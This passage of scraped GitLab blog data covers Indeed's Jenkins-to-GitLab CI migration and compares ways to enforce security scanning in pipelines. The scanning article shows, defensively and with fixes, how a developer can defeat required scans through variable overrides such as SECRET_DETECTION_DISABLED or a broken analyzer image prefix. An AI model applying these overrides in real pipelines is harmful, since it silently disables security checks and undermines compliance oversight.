deliver positive outcomes to job seekers every day.\n\nGitLab Continuous Integration has allowed Indeed’s CI Platform team of just 11 people to effectively support thousands of users across the company. Other benefits Indeed has realized by moving to GitLab CI include:\n- 79% increase in daily pipelines\n- 10-20% lower CI hardware costs\n- Decreased support burden\n\n## Evolving our CI platform: From Jenkins to a scalable solution\n\nLike many large technology companies, we built our CI platform organically as the company scaled, using the de facto open source and industry standard solutions available at the time. Back in 2007, when Indeed had fewer than 20 engineers, we were using Hudson, Jenkins’ direct predecessor.\n\nToday, through nearly two decades of growth, we have thousands of engineers. As new technology became available, we made incremental improvements, switching to Jenkins around 2011. Another improvement allowed us to move most of our workloads to dynamic cloud worker nodes using [AWS EC2](https://aws.amazon.com/ec2/). As we entered the Kubernetes age, however, the system architecture reached its limits.\n\nJenkins’ architecture was not created with the cloud in mind. Jenkins operates by having a \"controller\" node, a single point of failure that runs critical parts of a pipeline and farms out certain steps to worker nodes (which can scale horizontally to some extent). Controllers are also a manual scaling axis.\n\nIf you have too many jobs to fit on one controller, you must partition your jobs across controllers manually. CloudBees offers ways to mitigate this, including the CloudBees Jenkins Operations Center, which allows you to manage your constellation of controllers from a single centralized place. However, controllers remain challenging to run in a Kubernetes environment because each controller is a fragile single point of failure. Activities like node rollouts or hardware failures cause downtime.\n\nIn addition to the technical limitations baked into Jenkins itself, our CI platform also had several problems of our own making. For example, we used the Groovy Jenkins DSL to generate jobs from code in each repository. This led to each project having its own copy-pasted job pipeline, resulting in hundreds of versions that were hard to maintain and update. While Indeed’s engineering culture values flexibility and allows teams to operate in separate repositories, this flexibility became a burden as teams spent too much time addressing regular maintenance requests.\n\nRecognizing our technical debt, we turned to the [Golden Path pattern](https://tag-app-delivery.cncf.io/whitepapers/platforms/), which allows flexibility while providing a default route to simplify updates and encourage consistent practices across projects.\n\nThe CI Platform team at Indeed is not very large. Our team of around 11 engineers supports thousands of users, fielding support requests, performing upgrades and maintenance, and enabling always-on support for our global company.\n\nBecause our team not only supports our GitLab instance but also the entire CI platform, including the artifact server, our shared build code, and multiple other custom components of our platform, we had our work cut out for us. We needed a plan that would help us address our challenges while making the most efficient use of our existing resources.\n\n## Moving to GitLab CI\n\nAfter a careful design review with key stakeholders, we decided to migrate the entire company from Jenkins to GitLab CI. The primary reasons for choosing GitLab CI were:\n- We were already using GitLab for source code management.\n- GitLab is a complete offering that provides everything we need for CI.\n- GitLab CI is designed for scalability and the cloud.\n- GitLab CI enables us to write templates that extend other templates, which is compatible with our golden path strategy.\n- GitLab is open source software and the GitLab team has always been supportive in helping us submit fixes, giving us extra flexibility and reassurance.\n\nBy the time we officially announced that the GitLab CI Platform would be generally available to users, we already had 23% of all builds happening in GitLab CI from a combination of grassroots efforts and early adopters.\n\nThe challenge of the migration, however, would be the long tail. Due to the number of custom builds in Jenkins, an automated migration tool would not work for the majority of teams. Most of the benefits of the new system would not come until the old system was at 0%. Only then could we turn off the hardware and save the CloudBees license fee.\n\n## Feature parity and the benefits of starting over\n\nThough we support many different technologies at Indeed, the three most common languages are Java, Python, and JavaScript. These language stacks are used to make libraries, deployables (web services or applications), and cron jobs (a process that runs at regular intervals, for example, to build a data set in our data lake). Each of these formed a matrix of project types (Java Library, Python Cronjob, JavaScript Webapp, etc.) for which we had a skeleton in Jenkins. Therefore, we had to produce a golden path template in GitLab CI for each of these project types.\n\nMost users could use these recommended paths without change, but for those who did require customization, the golden path would still be a valuable starting point and enable them to change only what they needed, while still benefiting from centralized template updates in the future.\n\nWe quickly realized that most users, even those with customizations, were happy to take the golden path and at least try it. If they missed their customizations, they could always add them later. This was a surprising result! We thought that teams who had invested in significant customization would be loath to give them up, but in the majority of cases teams just didn't care about them anymore. This allowed us to migrate many projects very quickly — we could just drop the golden path (a small file about 6 lines long with includes) into their project, and they could take it from there.\n\n## InnerSource to the rescue\n\nThe CI Platform team also adopted a policy of \"external contributions first\" to encourage everyone in the company to participate. This is sometimes called InnerSource. We wrote tests and documentation to enable external contributions — contributions from outside our immediate team — so teams that wanted to write customizations could instead include them in the golden path behind a feature flag. This let them share their work with others and ensure we didn't break them moving forward (because they became part of our codebase, not theirs).\n\nThis also had the benefit that particular teams who were blocked waiting for a feature they needed were empowered to work on the feature themselves. We could say \"we plan to implement the feature in a few weeks, but if you need it earlier than that we are happy to accept a contribution.\" In the end, many core features necessary for parity were developed in this manner, more quickly and better than our team had resources to do it. The migration would not have been a success without this model.\n\n## Ahead of schedule and under budget\n\nOur CloudBees license expired on April 1, 2024. This gave us an aggressive target to achieve the full migration. This was particularly ambitious considering that at the time, 80% of all builds (60% of all projects) still used Jenkins for their CI. This meant over 2,000 [Jenkinsfiles](https://www.jenkins.io/doc/book/pipeline/jenkinsfile/) would still need to be rewritten or replaced with our golden path templates.\n\nTo achieve this target, we made documentation and examples available, implemented features where possible, and helped our users contribute features where they were able.\n\nWe started regular office hours, where anyone could come and ask questions or seek our help to migrate. We additionally prioritized support questions relating to migration ahead of almost everything else. Our team became GitLab CI experts and shared that expertise inside our team and across the organization.\n\nAutomatic migration for most projects was not possible, but we discovered it could work for a small subset of projects where customization was rare. We created a Sourcegraph batch change campaign to submit merge requests to migrate hundreds of projects, and poked and prodded our users to accept these MRs.\n\nWe took success stories from our users and shared them widely. As users contributed new features to our golden paths, we advertised that these features \"came free\" when you migrated to GitLab CI. Some examples included built-in security and compliance scanning, Slack notifications for CI builds, and integrations with other internal systems.\n\nWe also conducted a campaign of aggressive \"scream tests.\" We automatically disabled Jenkins jobs that hadn't run or succeeded in a while, and told users that if they needed them, they could turn them back on. This was a low-friction way to identify which jobs were actually needed. We had thousands of jobs that hadn't been run a single time since our last CI migration (which was Jenkins to Jenkins). This told us we could safely ignore almost all of them.\n\nIn January 2024, we nudged our users by announcing that all Jenkins controllers would become read-only (no builds) unless an exception was explicitly requested. We had much better ownership information for controllers and they generally aligned with our organization's structure, so it made sense to focus on controllers rather than jobs. The list of controllers was also a much more manageable list than the list of jobs.\n\nTo obtain an exception, we asked our users to find their controllers in a spreadsheet and put their contact information next to each one. This enabled us to get a guaranteed up-to-date list of stakeholders we could follow up with as we sprinted to the finish line, but also enabled users to clearly let us know which jobs they absolutely needed. At peak, we had about 400 controllers; by January we had 220, but only 54 controllers required exceptions (several of them owned by us, to run our tests and canaries).\n\n![Indeed - Jenkins Controller Count graph](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099357/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099357392.png)\n\nWe had a manageable list of around 50 teams we divided among our team and started doing outreach to understand how each team was progressing with the migration. We spent January and February discovering that some teams planned to finish their migration without our help before February 28 others were planning to deprecate their projects before then, and a very small number were very worried they wouldn't make it.\n\nWe were able to work with this smaller set of teams and provide them with “white-glove” service. We still explained that while we lacked the expertise necessary to do the migration for them, we could partner with a subject matter expert from their team. For some projects, we wrote and they reviewed; for others, they wrote and we reviewed. In the end, all of our work paid off and we turned off Jenkins on the very day we had announced 8 months earlier.\n\n## The results: Enhanced CI efficiency and user satisfaction\n\nAt its peak, our Jenkins CI platform ran over 14,000 pipelines per day and serviced our thousands of projects. Today, our GitLab CI platform has run over 40,000 pipelines in a single day and regularly runs over 25,000 per day. The incremental cost of each job of each pipeline is similar to Jenkins, but without the overhead of hardware to run the controllers. Additionally, these controllers served as single points of failure and scaling limiters that forced us to artificially divide our platform into segments. While an apples-to-apples comparison is difficult, we find that with this overhead gone our CI hardware costs are 10-20% lower. Additionally, the support burden of GitLab CI is lower since the application automatically scales in the cloud, has cross-availability-zone resiliency, and the templating language has excellent public documentation available.\n\nA benefit just as important, if not moreso, is that now we are at over 70% adoption of our golden paths. This means that we can roll out an improvement and over 5,000 projects at Indeed will benefit immediately with no action required on their part. This has enabled us to move some jobs to more cost-effective ARM64 instances, keep users' build images updated more easily, and better manage other cost saving opportunities. Most importantly, our users are happier with the new platform.\n\n__About the author:__\n*Carl Myers lives in Sacramento, CA, and is the manager of the CI Platform team at Indeed. Carl has spent his nearly two-decade career dedicated to building internal tools and developer platforms that delight and empower engineers at companies large and small.*\n\n**Acknowledgements:**\n*This migration would not have been possible without the tireless efforts of Tron Nedelea, Eddie Huang, Vivek Nynaru, Carlos Gonzalez, Lane Van Elderen, and the rest of the CI Platform team. The team also especially appreciates the leadership of Deepak Bitragunta, and Irina Tyree for helping secure buy-in, resources and company wide alignment throughout this long project. Finally, our thanks go out to everyone across Indeed who contributed code, feedback, bug reports, and helped migrate projects.*\n\n**This is an edited version of the article [How Indeed Replaced Its CI Platform with Gitlab CI](https://engineering.indeedblog.com/blog/2024/08/indeed-gitlab-ci-migration/), originally published on the Indeed engineering blog.**",[2705,110,4772,479],"user stories",{"slug":4774,"featured":92,"template":678},"how-indeed-transformed-its-ci-platform-with-gitlab","content:en-us:blog:how-indeed-transformed-its-ci-platform-with-gitlab.yml","How Indeed Transformed Its Ci Platform With Gitlab","en-us/blog/how-indeed-transformed-its-ci-platform-with-gitlab.yml","en-us/blog/how-indeed-transformed-its-ci-platform-with-gitlab",{"_path":4780,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4781,"content":4787,"config":4793,"_id":4795,"_type":16,"title":4796,"_source":17,"_file":4797,"_stem":4798,"_extension":20},"/en-us/blog/how-to-choose-the-right-security-scanning-approach",{"title":4782,"description":4783,"ogTitle":4782,"ogDescription":4783,"noIndex":6,"ogImage":4784,"ogUrl":4785,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4785,"schema":4786},"How to choose the right security scanning approach","GitLab offers multiple scanning methods for CI/CD pipelines, including compliance frameworks and scan and pipeline execution policies. Learn the basics, configurations, and advantages/disadvantages.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097969/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_282096522_securitycompliance.jpeg_1750097968823.jpg","https://about.gitlab.com/blog/how-to-choose-the-right-security-scanning-approach","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to choose the right security scanning approach\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matt Genelin\"},{\"@type\":\"Person\",\"name\":\"Mathias Ewald\"}],\n        \"datePublished\": \"2024-08-26\",\n      }",{"title":4782,"description":4783,"authors":4788,"heroImage":4784,"date":4790,"body":4791,"category":674,"tags":4792},[3046,4789],"Mathias Ewald","2024-08-26","Integrating security scans into your CI/CD pipeline is crucial for maintaining robust and secure applications. But who's responsible for those scans? Who is responsible for adding them into every CI/CD pipeline for all projects? And who decides which identified vulnerability may pass or needs fixing? For organizations in regulated industries, these are critical questions.\n\nIn this article, you'll learn how GitLab [CI/CD](https://about.gitlab.com/topics/ci-cd/) enables each person in the software development lifecycle to incorporate security scanning. You'll also discover the advantages and disadvantages of the various options available to add scanning to GitLab project pipelines. Code examples will help you kickstart security scanning on the GitLab DevSecOps platform.\n\nArticle contents:\n- [The basics of setting up security scanning](#the-basics-of-setting-up-security-scanning)\n- [Pipeline includes](#pipeline-includes)\n- [Compliance frameworks](#compliance-frameworks)\n- [Policies](#policies)\n- [Get started with security scanning](#get-started-with-security-scanning)\n\n## The basics of setting up security scanning\n\nGitLab uses [fictional personas](https://handbook.gitlab.com/handbook/product/personas/#user-personas) to describe the individual team member who would typically use a given security feature or approach. By exploring the perspective of a **Software Developer (Sasha)**, **Application Security Engineer (Amy)**, or **Platform Engineer (Priyanka)**, you can better understand the needs of each role on your team.\n\nGitLab follows a \"pipeline-per-project\" principle, stored in the file named `.gitlab-ci.yml`. This file contains the project's CI/CD pipeline definition and is revision controlled like any other file in the project. You'll learn about these project pipelines, as well as compliance pipelines and policy pipelines. While compliance pipelines and policy pipelines also refer to the YAML files in GitLab projects, they typically have a different file name and serve a different purpose.\n\nReaders already familiar with security scanning in GitLab will find clarity in the security pipeline choices available in the context of your team/organization. Therefore, we will discuss each of the approaches with respect to the following criteria:\n\n- **Ease of use:** How easy is it to add security scanning to project pipelines? Is it a reasonable task for Sasha, or something that Amy and Priyanka should handle?\n\n- **Customization:** How deeply can scanner configurations be customized using that approach? While default configurations that make sense and cover a wide range of customer needs are worth gold, the time often comes when scanner configurations need adjustments.\n\n- **Enforcement:** Is this approach suitable to companies operating in regulated industries or that otherwise have global policies in place? Can we ensure each relevant project runs Scanner X with Configuration Y?\n\n## Pipeline includes\n\n[GitLab project pipeline includes](https://docs.gitlab.com/ee/ci/yaml/includes.html) are a mechanism that allows the integration of external pipelines into the `.gitlab-ci.yaml` project pipeline. This is similar to including a library in many programming languages. This powerful feature enables the seamless incorporation of your own templates, as well as GitLab-provided templates, to be used as building blocks for your pipelines. Includes can be used in project pipelines or other pipeline files. An example of a commonly included external pipeline is including a security scanning pipeline into a GitLab project pipeline.\n\nHere are the common types of includes, which use the security scanner example.\n\n### Templates\n\nGitLab offers ready-to-use [templates](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Jobs) that can be included in a project pipeline to make it easier for teams to add in various pre-built elements. The following is example code:\n\n```yaml\ninclude:\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\n  - template: Jobs/SAST.gitlab-ci.yml\n  - template: Jobs/Dependency-Scanning.gitlab-ci.yml\n  - template: Jobs/Container-Scanning.gitlab-ci.yml\n```\n\nThis code includes GitLab's templates for [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/), [Static Application Security Testing](https://docs.gitlab.com/ee/user/application_security/sast/), [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), and [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/) – all in only five lines of code. \n\nTo modify the behavior of jobs included via templates, you can either use variables or use [GitLab's property merging capabilities](https://docs.gitlab.com/ee/ci/yaml/includes.html#merge-method-for-include).\n\nYou will find an example of modifying the GitLab Container Scanning pipeline using variables below. The [template for Container Scanning](https://gitlab.com/gitlab-org/gitlab/-/blob/59f08760feaab1eb0489f694d4f28408af9c2e8d/lib/gitlab/ci/templates/Jobs/Container-Scanning.gitlab-ci.yml) needs to know the location of the image and uses a variable named `CS_IMAGE` for that as is documented in the template code linked above.\n\n```yaml\nvariables:\n  CS_IMAGE: \"$CI_REGISTRY_IMAGE:$CI_COMMIT_SHORT_SHA\"\n\ninclude:\n  - template: Jobs/Container-Scanning.gitlab-ci.yml\n```\n\nThe project pipeline variables are available to included job templates by defining the `CS_IMAGE` variable before the included pipeline template. The Container Scanning template inherits the `CS_IMAGE` variable value. \n\nIf we wanted to make changes to the [`allow_failure` property defined here](https://gitlab.com/gitlab-org/gitlab/-/blob/59f08760feaab1eb0489f694d4f28408af9c2e8d/lib/gitlab/ci/templates/Jobs/Container-Scanning.gitlab-ci.yml#L38), we would need to resort to property merging since the job templates employ no variable for the value. (The `allow_failure` property is a property generally available on every GitLab pipeline job. Please check the [documentation](https://docs.gitlab.com/ee/ci/yaml/#allow_failure) for details.)\n\nIn this example, `allow_failure` is set to `false`, meaning the entire pipeline stops on a container scanning failure. This stops any unscanned containers from moving forward in the pipeline.\n\n```yaml\ninclude:\n  # Includes a job called \"container_scanning\"\n  - template: Jobs/Container-Scanning.gitlab-ci.yml\n\n# Define a job with same name for merging\ncontainer_scanning:\n  allow_failure: false\n```\n\nGitLab will load the job template and – as defined in the template code – register a job called `container_scanning`. As the pipeline definition declares another job with that name, GitLab will merge that specification with the already registered job.\n\nWhile this feature offers many possibilities, it also makes it impossible to protect certain properties from being overwritten. We are only at the point of modifying the project pipeline, so there's no control over that anyway. But later on, you will see that this can pose a challenge when security needs to be enforced on a project.\n\n### Components\n\nTemplates are a great start for sharing repeatable GitLab pipelines. To further abstract reusable code across an entire organization or a GitLab instance, [GitLab introduced components](https://docs.gitlab.com/ee/ci/components/). Components are the next logical step in GitLab's evolution of pipelines. Components are designed to simplify the creation and use of functional building blocks to use in pipelines, or even to package and ship entire pipelines if needed. They offer a well-defined interface, which accepts \"inputs\" for configuration. Otherwise, the component is completely isolated, which makes them a great candidate to share work within an organization and to be searchable and reusable building blocks.\n\nDevelopers can use the [CI/CD Catalog](https://gitlab.com/explore/catalog) to browse and search the collection of publicly available GitLab components, which are components officially built and maintained by GitLab. GitLab uses the CI/CD Catalog [to publish our shipped components](https://gitlab.com/components) such as security scanners alongside community-provided components.\n\nComponents are consumed similarly to templates via the `include` keyword. In an example above, we showed how the container scanning job requires knowledge of the image location. This \"input\" uses the component for [container scanning](https://gitlab.com/components/container-scanning/-/blob/19fd5b83bc631cb9890b4fadb08d31b3150853ce/templates/container-scanning.yml) is called `cs_image`. The configuration equivalent to the previous example looks like this:\n\n```yaml\ninclude:\n  - component: $CI_SERVER_FQDN/components/sast/sast@2.0.2\n  - component: $CI_SERVER_FQDN/components/dependency-scanning/cargo@0.2.0\n  - component: $CI_SERVER_FQDN/components/secret-detection/secret-detection@1.1.2\n  - component: $CI_SERVER_FQDN/components/container-scanning/container-scanning@4.1.0\n    inputs:\n      cs_image: \"$CI_REGISTRY_IMAGE:$CI_COMMIT_SHORT_SHA\"\n```\nIn this example, the SAST component is pinned at Version 2.0.2, the Dependency Scanning component at Version 0.2.0, the Secret Detection component at Version 1.1.2, and the Container Scanning component at Version 4.1.0. `~latest` [and more tags are available](https://docs.gitlab.com/ee/ci/components/#component-versions) for bleeding-edge component usage and other development needs.\n\nWhether you use templates or components, your pipeline might look like the image below. The top four jobs in the test stage are the result of the four include statements in the code above.\n\n![An example pipeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097984/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097983863.png)\n\n### Advantages and disadvantages of using pipeline includes\n\n#### Ease of use\n\nOne of the benefits of using pipeline includes in GitLab is their ease of use. We have seen how, with essentially six lines of code, we included four commonly used security scanners. All the complex logic and setup are handled within the templates or components, saving Sacha time and effort by providing a ready-to-use solution.\n\n#### Customization\n\nWhile templates offer the highest flexibility (variables and merging), it's important to remember that with \"great power comes great responsibility.\" The flexibility of templates supports extensive customization, but requires careful management and oversight to avoid unexpected results.\n\nIn contrast, components provide a more structured mechanism for authoring, sharing, and maintaining building blocks for a broader audience. Components, while not as customizable, enhance stability and reliability, and are a valuable, reusable, and repeatable feature. \n\n#### Enforcement\n\nAs the name _include_ suggests, it is the GitLab project pipeline that needs to include templates or components. While scanner templates are straightforward to use, Amy and Priyanka cannot be sure Sacha has included them properly, or even at all. Enforcement of scanner usage is needed.\n\nFor regulated industries, managing security in project pipelines is not an approach that provides the necessary audit trail or enforcement.\n\n## Compliance frameworks\n\nGitLab identified the gap between the ability to enforce security scans on project pipelines and the need to [adhere to regulatory compliance frameworks](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/) such as PCI DSS, NIST, and many more. The introduction of compliance frameworks as functionality caters to precisely this challenge.\n\nAt first glance, a compliance framework in GitLab is merely a label attached to a project, which would typically be named after the regulatory framework it is supposed to implement. The magic is added with the link between that label and a compliance pipeline YAML file, which is responsible for implementing the necessary steps to ensure compliance. \n\nThe mechanism is straightforward: Every time the project pipeline is triggered, GitLab executes the compliance pipeline instead. The compliance pipeline runs with both the [CI/CD variables](https://docs.gitlab.com/ee/ci/variables/) and [predefined CI/CD variables](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html) of the project pipeline.\n\nThis allows for two main design patterns: a \"wrapping pipeline,\" where the compliance pipeline includes the project pipeline, and an \"overriding pipeline,\" where it does not. \n\n**Note:** Compliance pipelines have been deprecated in GitLab Version 17.3 and are scheduled for removal in Version 19.0. At this point, we cannot recommend implementing this approach for new development platforms. However, you might already be using them, making it worth reading this section.\n\n### Wrapping pipelines\n\nIn the wrapping approach, the compliance pipeline defines its own jobs according to specific compliance needs. It includes the project pipeline in the same way we have seen templates included in the previous section. This setup is possible because the predefined CI/CD variables originate from the project pipeline, allowing the system to identify the pipeline definition's location for inclusion.\n\nHere is an example of what a simple compliance pipeline might look like. \n\n```yaml\ninclude:\n  - component: $CI_SERVER_FQDN/components/sast/sast@2.0.2\n  - component: $CI_SERVER_FQDN/components/dependency-scanning/cargo@0.2.0\n  - component: $CI_SERVER_FQDN/components/secret-detection/secret-detection@1.1.2\n  - component: $CI_SERVER_FQDN/components/container-scanning/container-scanning@4.1.0\n  - project: '$CI_PROJECT_PATH'\n    file: '$CI_CONFIG_PATH'\n    ref: '$CI_COMMIT_SHA'\n```\n\nThe last three lines include the project pipeline based on available variables.\n\n### Overriding pipelines\n\nUnlike wrapping pipelines, which include the project pipeline, overriding pipelines ignore it entirely and run only their own jobs. This type of pipeline defines each step, encompassing all necessary jobs to build, test, and deploy the application.\n\nBelow we see a mock compliance pipeline that illustrates this approach.\n\n```yaml\nstages: [\"build\", \"test\", \"deploy\"]\n\ninclude:\n  - component: $CI_SERVER_FQDN/components/sast/sast@2.0.2\n  - component: $CI_SERVER_FQDN/components/dependency-scanning/cargo@0.2.0\n  - component: $CI_SERVER_FQDN/components/secret-detection/secret-detection@1.1.2\n  - component: $CI_SERVER_FQDN/components/container-scanning/container-scanning@4.1.0\n\nbuild-job:\n  stage: build\n  script: echo \"Building the container image\"\n\ntest-job:\n  stage: test\n  script: echo \"Running unit tests\"\n\ndeploy-job:\n  stage: deploy\n  script: echo \"Deploying app\"\n```\n\n### Advantages and disadvantages of compliance frameworks\n\n#### Ease of use\n\nWhile compliance frameworks aren't terribly complicated, they aren't as straightforward and simple as pipeline includes. They're meant to be written and assigned to projects by Amy and Priyanka, who now need to interact with pipeline YAML code. A framework needs to be declared in the top-level namespace and compliance pipelines need to be created and maintained, and compliance frameworks need to be attached to the right projects. \n\n#### Customization\n\nAmy and Priyanka are the authors of compliance pipelines. Like Sacha in the previous section on includes, they have full control over what they include and how they include it, giving them maximum customizability of compliance jobs such as security scanners.\n\n#### Enforcement\nThis aspect of enforcing pipelines questions whether developers can tamper with security jobs? In an environment with a strong separation of duties, this nuance requires some extra attention. To answer this, we need to look at each pattern separately:\n\n##### Wrapping pipelines\nAs seen before, project pipelines are included in compliance pipelines. In addition to group- or project-level CI/CD variables, every element of that project pipeline must be considered a potential threat to the compliance pipeline. Obviously, variables and jobs stick out as primary candidates. And, in fact, they can and will influence security job behavior if used maliciously.\n\nHere is a simple example to illustrate the issue.\n\nCompliance pipeline:\n```yaml\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\n  - project: '$CI_PROJECT_PATH'\n    file: '$CI_CONFIG_PATH'\n    ref: '$CI_COMMIT_SHA'\n```\n\nProject pipeline:\n```yaml\nvariables:\n  SECRET_DETECTION_DISABLED: true\n\nsemgrep-sast:\n  rules:\n    - when: never\n```\n\nThis project pipeline declares a variable `SECRET_DETECTION_DISABLED` (this could be done via project or croup-level CI/CD variables, too), which is evaluated in the included secret detection template. Further, the last three lines use the merging mechanism discussed previously, to not execute the job at all. Kind of redundant, we know.\n\nBoth overrides could be prevented using components, but you get the idea. Components, too, are receptive to such attacks via their inputs' default values, which often use variables, too! Let's take a look at how this could be taken advantage of.\n\nCompliance pipeline:\n```yaml\ninclude:\n  - component: $CI_SERVER_FQDN/components/sast/sast@2.0.2\n  - component: $CI_SERVER_FQDN/components/secret-detection/secret-detection@1.1.2\n  - project: '$CI_PROJECT_PATH'\n    file: '$CI_CONFIG_PATH'\n    ref: '$CI_COMMIT_SHA'\n```\n\nProject pipeline:\n```yaml\nvariables:\n  CI_TEMPLATE_REGISTRY_HOST: \"docker.io\"\n```\n\nTo understand what is happening here, look at the [SAST scanner component's Line 6](https://gitlab.com/components/sast/-/blob/main/templates/sast.yml?ref_type=heads#L6):\n\n```yaml\nspec:\n  inputs:\n    stage:\n      default: test\n    image_prefix:\n      default: \"$CI_TEMPLATE_REGISTRY_HOST/security-products\"\n```\n\nThe `image_prefix` input uses the `CI_TEMPLATE_REGISTRY_HOST` to build the default value. By setting this variable to a false value in the same way we set `SECRET_DETECTION_DISABLED` to `true` before, Sacha may cause the job to load a wrong image and break SAST testing.\n\nTo prevent this override ability by the developer role, avoid templates in favor of components. This approach covers many developer-induced loopholes. To be certain of compliance, hardcode values for component inputs.\n\n##### Overriding pipelines\n\nThis type is an entirely different beast. Developers get no chance of injecting actual pipeline code into the compliance pipeline. However, compliance pipelines do run with the project's CI/CD variables. Hence, any variable specified on the group- or project-level might modify the compliance pipeline's behavior. With `SECRET_DETECTION_DISABLED` set to `true` in the project CI/CD variables, the following compliance pipeline can be modified again:\n\n```yaml\nstages: [\"build\", \"test\", \"deploy\"]\n\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\n\nbuild-job: ...\ntest-job: ...\ndeploy-job: ...\n```\n\nComponents can solve this particular problem, but, as before, component inputs may use CI/CD variables developers can set. Compliance pipeline authors need to identify and take care of these situations. \n\n## Policies\n\nCompliance pipelines' shortcomings have led to the next step for managing compliance: [policies](https://docs.gitlab.com/ee/user/application_security/policies/).\n\nGitLab introduced [policies](https://docs.gitlab.com/ee/user/application_security/policies/) as the way forward. Authors store a set of policies in a separate project as YAML files and apply them to projects on the group or project level. This gives Amy and Priyanka the flexibility to target individual projects with specific requirements but also to ensure compliance across the entire organization if needed. Access to the policy project can be controlled within the policy project and audited within GitLab.\n\nPolicies come in different types for different purposes. The types we are interested in right now are scan execution policies (SEP) and pipeline execution policies (PEP).\n\n### Scan execution policies\n\nAs the name suggests, SEPs require a particular scan – or set of scans – to be executed as part of the project pipeline and inject the respective scan jobs into the pipelines of associated projects. They include the respective [template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Jobs) in the pipeline according to variables and rules set by Amy and Priyanka.\n\nGitLab supports policy authors with a comprehensive user interface in addition to a YAML-based Git workflow. The following screenshot and code snippet illustrate a very basic example of a SEP:\n\n![Scan execution policy example](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097984/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097983864.png)\n\n```yaml\nname: Secret Scanner\ndescription: ''\nenabled: true\nactions:\n- scan: secret_detection\nrules:\n- type: pipeline\n  branches:\n  - \"*\"\n```\n\nFor more details on SEP settings in the UI and YAML, please refer to the [policy documentation](https://docs.gitlab.com/ee/user/application_security/policies/scan_execution_policies.html).\n\n#### Advantages and disadvantages of scan execution policies\n\n##### Ease of use\nSEPs provide a lightweight, easy-to-use mechanism that enforces security on existing and new CI/CD pipelines across the organization or on a granular level. The UI support makes them a viable tool for all relevant personas.\n\n##### Customization\nSEPs are restricted to predefined scanner jobs, and there is no option to extend this list with custom jobs at this point. This limitation can be restrictive for teams with unique scanning requirements that fall outside the standard options.\n\n##### Enforcement\n\nOnce an SEP is applied to a project (directly or indirectly), Sacha has no way to get rid of that scan job. Though, there may be ways to – intentionally or not – manipulate the scan job's behavior.\n\nJobs injected via SEPs generally are receptive to CI/CD variables and adhere to the general rules of [variable precedence](https://docs.gitlab.com/ee/ci/variables/index.html#cicd-variable-precedence). For this injection, Policies incorporate logic that denies changing some predefined variables as described [here](https://docs.gitlab.com/ee/user/application_security/policies/scan_execution_policies.html#cicd-variables) and generally deny the configuration of variables that follow certain patterns such as `_DISABLED` or  `_EXCLUDED_PATHS`.\n\nDespite these security measures, inconsiderate use of policies may still open opportunities for tampering: In my test, I was able to set a project-level CI/CD variable `SECURE_ANALYZERS_PREFIX` to a bad value (a non-existing location) and as you can see [here](https://gitlab.com/gitlab-org/gitlab/-/blob/a2d4b8df0095c1363a105a1fa212daf227eca063/lib/gitlab/ci/templates/Jobs/Secret-Detection.gitlab-ci.yml), the secret detection template uses that to build the location of the scanner image.\n\nWhile the scan job does get included in the pipeline run, it crashes very early and, therefore, provides no scan results. Due to the [`allow_failure: true` configuration](https://gitlab.com/gitlab-org/gitlab/-/blob/a2d4b8df0095c1363a105a1fa212daf227eca063/lib/gitlab/ci/templates/Jobs/Secret-Detection.gitlab-ci.yml#L18), the pipeline will continue to run and eventually execute a deploy job.\n\nBecause SEP variables take the highest variable precedence, there is an easy fix to reduce the attack surface of the policy: Simply hardcode the correct value in your policy YAML or via the UI:\n\n```yaml\n- name: Secret Scanner\n  actions:\n  - scan: secret_detection\n    variables:\n      SECURE_ANALYZERS_PREFIX: registry.gitlab.com/security-products\n```\n\n### Pipeline execution policies\n\nSEPs enable the injection of a set of security-related jobs into any project pipeline. In contrast, PEPs apply entire pipeline configurations to projects, offering a lot more flexibility when it comes to customizing security constraints. \n\nThere are two methods for implementing these policies, known as \"actions\": `inject` and `override`. These actions function similarly to the patterns we have seen in the compliance frameworks section and provide flexible ways to enhance and enforce security standards within the development workflow.\n\n#### Injecting pipelines\n\nInjecting pipelines involves adding the jobs and other elements defined in the policy pipeline into the project pipeline. Currently, jobs should only be injected into reserved stages, namely `.pipeline-policy-pre` and `.pipeline-policy-post` to avoid unpredictable results.\n\nGitLab handles name clashes between jobs or variables in policy and project pipelines effectively by building each pipeline in isolation before combining them. This ensures that the integration process is seamless and does not disrupt existing workflows or configurations.\n\n![security scanning - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097984/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097983865.png)\n\nThe above screenshot shows an example of an injected policy pipeline. Project pipeline jobs are prefixed with `prj-` for easier identification.\n\n#### Overriding pipelines\n\nIn the override approach, the project pipeline is completely replaced by the policy pipeline. This method is similar to compliance pipelines that do not include the project's `.gitlab-ci.yml` file. Despite the override, the pipelines run using the project's CI/CD variables, maintaining consistency with project-specific configurations. The compliance pipeline we used earlier makes a perfectly fine policy pipeline, too:\n\n```yaml\nstages: [\"build\", \"test\", \"deploy\"]\n\ninclude:\n  - component: $CI_SERVER_FQDN/components/sast/sast@2.0.2\n  - component: $CI_SERVER_FQDN/components/dependency-scanning/cargo@0.2.0\n  